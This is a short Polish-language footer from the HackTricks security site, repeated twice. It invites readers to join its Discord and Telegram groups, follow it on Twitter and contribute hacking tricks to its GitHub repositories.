* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów github.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>